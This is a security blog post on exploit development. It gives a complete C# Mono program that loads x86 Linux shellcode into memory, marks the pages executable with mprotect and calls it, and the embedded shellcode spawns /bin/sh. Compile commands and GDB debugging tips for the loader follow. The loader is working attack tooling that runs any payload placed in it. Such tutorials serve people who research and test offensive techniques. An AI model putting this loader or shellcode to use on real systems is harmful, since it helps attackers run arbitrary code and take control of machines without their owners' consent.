Oleg's Web Log

Stochastic records on Information Security and IT in general

Executing shellcode from C# on Linux

Category: Exploit development

Written on

In this post I will show you how to run shellcode from a C# application on Linux. I realize that unlike, say, Python, Mono is not present on most vanilla Linux installations. So there are not many cases when you will be able to leverage this ability. But it is out there and you never know what you can run into in the wild. With that being said, let's first install Mono.

Mono installation

I am using a freshly downloaded x86 Kali image here. After upgrading and changing the default password I followed the installation instructions found in official Mono documentation:

# Become root if you aren't
su - root
# Add mono-project packages signing key so all packages you pull from their repo are trusted
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
#  Add mono-project repositories
echo "deb http://download.mono-project.com/repo/debian wheezy main" | tee /etc/apt/sources.list.d/mono-xamarin.list
echo "deb http://download.mono-project.com/repo/debian wheezy-libjpeg62-compat main" | tee -a /etc/apt/sources.list.d/mono-xamarin.list
# Update your package index
apt-get update
# Install Mono-related packages
apt-get install mono-complete monodevelop

The first added repository is for getting the latest and greatest version of Mono, and the second one is to satisfy libgdiplus dependency on Debian 8.0 and later. Installation of the MonoDevelop IDE is optional, but it is more convenient to debug your C# code in an IDE instead of a command line.

Windows prototype and Linux port

While researching the issue I came across a wonderful post that provided a working example of shellcode execution in C# on Windows. The example uses WinAPI VirtualProtect function to make the shellcode containing region of memory executable. Linux analog of VirtualProtect function is mprotect. Both VirtualProtect and mprotect change protection on pages, not on arbitrary regions of memory. So, even if your shellcode takes only 21 bytes, the whole page containing the code will have to be made executable. The difference between VirtaulProtect and mprotect is that you don't have to pass the base address of the page containing shellcode to the first one; you can just pass the shellcode address. And to the second one you must pass the base address of the page containing the shellcode.

Here is the source:

using System;
using System.Runtime.InteropServices;
using Mono.Unix.Native;

class MainClass
{
    private static String shellcode = "\x31\xc9\xf7\xe1\x51\x68\x6e\x2f\x73\x68" +
        "\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";

    private static Int32 PAGE_SIZE = 
        (Int32)Mono.Unix.Native.Syscall.sysconf(SysconfName._SC_PAGESIZE);

    private static void Main(string[] args)
    {
        ExecShellcode();
    }

    private static IntPtr GetPageBaseAddress(IntPtr p)
    {
        return (IntPtr)((Int32)p & ~(PAGE_SIZE - 1));
    }

    private static void MakeMemoryExecutable(IntPtr pagePtr)
    {
        var mprotectResult = Syscall.mprotect (pagePtr, (ulong)PAGE_SIZE, 
            MmapProts.PROT_EXEC | MmapProts.PROT_WRITE);

        if (mprotectResult != 0) 
        {
            Console.WriteLine ("Error: mprotect failed to make page at 0x{0} " +
                "address executable! Result: {1}, Errno: {2}", mprotectResult, 
                Syscall.GetLastError ());
            Environment.Exit (1);
        }
    }

    private delegate void ShellcodeFuncPrototype();

    private static void ExecShellcode()
    {
        // Convert shellcode string to byte array
        Byte[] sc_bytes = new Byte[shellcode.Length];
        for (int i = 0; i < shellcode.Length; i++) 
        {
            sc_bytes [i] = (Byte) shellcode [i];
        }

        // Prevent garbage collector from moving the shellcode byte array
        GCHandle pinnedByteArray = GCHandle.Alloc(sc_bytes, GCHandleType.Pinned);

        // Get handle for shellcode address and address of the page it is located in
        IntPtr shellcodePtr = pinnedByteArray.AddrOfPinnedObject();
        IntPtr shellcodePagePtr = GetPageBaseAddress(shellcodePtr);
        Int32 shellcodeOffset = (Int32)shellcodePtr - (Int32)shellcodePagePtr;
        Int32 shellcodeLen = sc_bytes.GetLength (0);

        // Some debugging information
        Console.WriteLine ("Page Size: {0}", PAGE_SIZE.ToString ());
        Console.WriteLine ("Shellcode address: 0x{0}", shellcodePtr.ToString("x"));
        Console.WriteLine ("First page start address: 0x{0}", 
            shellcodePagePtr.ToString("x"));
        Console.WriteLine ("Shellcode offset: {0}", shellcodeOffset);
        Console.WriteLine ("Shellcode length: {0}", shellcodeLen);

        // Make shellcode memory executable
        MakeMemoryExecutable(shellcodePagePtr);

        // Check if shellcode spans across more than 1 page; make all extra pages
        // executable too
        Int32 pageCounter = 1;
        while (shellcodeOffset + shellcodeLen > PAGE_SIZE) 
        {
            shellcodePagePtr = 
                GetPageBaseAddress(shellcodePtr + pageCounter * PAGE_SIZE);
            pageCounter++;
            shellcodeLen -= PAGE_SIZE;

            MakeMemoryExecutable(shellcodePagePtr);
        }

        // Debug information
        Console.WriteLine ("Pages taken by the shellcode: {0}",
            pageCounter);

        // Make shellcode callable by converting pointer to delegate
        ShellcodeFuncPrototype shellcode_func = 
            (ShellcodeFuncPrototype) Marshal.GetDelegateForFunctionPointer(
                shellcodePtr, typeof(ShellcodeFuncPrototype));

        shellcode_func(); // Execute shellcode

        pinnedByteArray.Free();
    }
}

The main logic in the above code is located in the ExecShellcode() function. The first thing it does is it converts shellcode string to byte array. Then it tells the garbage collector to not disturb that byte array with memory relocations. After that, the code gets base address of the first page containing the shellcode and sets executable permissions on it. The code also takes care of an unlikely event of having a large shellcode that takes up memory belonging to two or more pages. And finally, pointer to the shellcode is casted to a C# function and called.

The shellcode used in the source is an x86 Linux shellcode that starts /bin/sh.

The PAGE_SIZE constant used in the code is, by default, equal to 4096 bytes in Linux. The exact value is determined in runtime.

To compile the above source you must reference the standard Mono.Posix.dll assembly; used in the project Mono.Unix.Native namespace lives there:

mcs /reference:Mono.Posix scframe.cs

After running the resulted executable

./scframe.exe

we should see the following output:

Shellcode running output

Shellcode running output

Alternatively to referencing the Mono.Posix.dll assembly we could directly reference mprotect() and sysconf() functions from libc.so library. In that case we should remember that library name passed to the DllImport attribute should be either libc or libc.so.6 (or whatever version is current). Passing libc.so will produce the Mono: DllImport error loading library error. One inconvenience of not using the Mono.Posix.dll namespace is that it is not possible (at least I couldn't find how) to reference the standard C global errno variable to get the error code of the last libc failed function. Overall there is no benefit of using this version instead of the given above. Both versions of the source can be found in the accompanying archive.

Debugging

Lastly, I want to share a few tips for debugging C# executables in Linux.

For that purpose I primarily used MonoDevelop and GDB. High-level debugging with MonoDevelop was a no-brainer. It was a bit more involved with GDB.

I found two ways of inserting breakpoints using GDB:

  • By inserting the \CC byte in the beginning of the shellcode, which corresponds to int3 Assembly mnemonic. I used this to catch the moment of passing execution flow to the shellcode.
  • By setting a breakpoint on a method name as described in Mono documentation:
echo 'handle SIGXCPU SIG33 SIG35 SIGPWR nostop noprint' > mono-gdb-settings
gdb -x mono-gdb-settings mono
(gdb) run --debug --break "MainClass:Main" scframe.exe

To set a breakpoint on a particular line I ended up moving it and a few lines that followed into a separate method and then calling that method from where I had plucked out those lines. Then I set a breakpoint on the newly created method name and debugged it that way.

comments powered by Disqus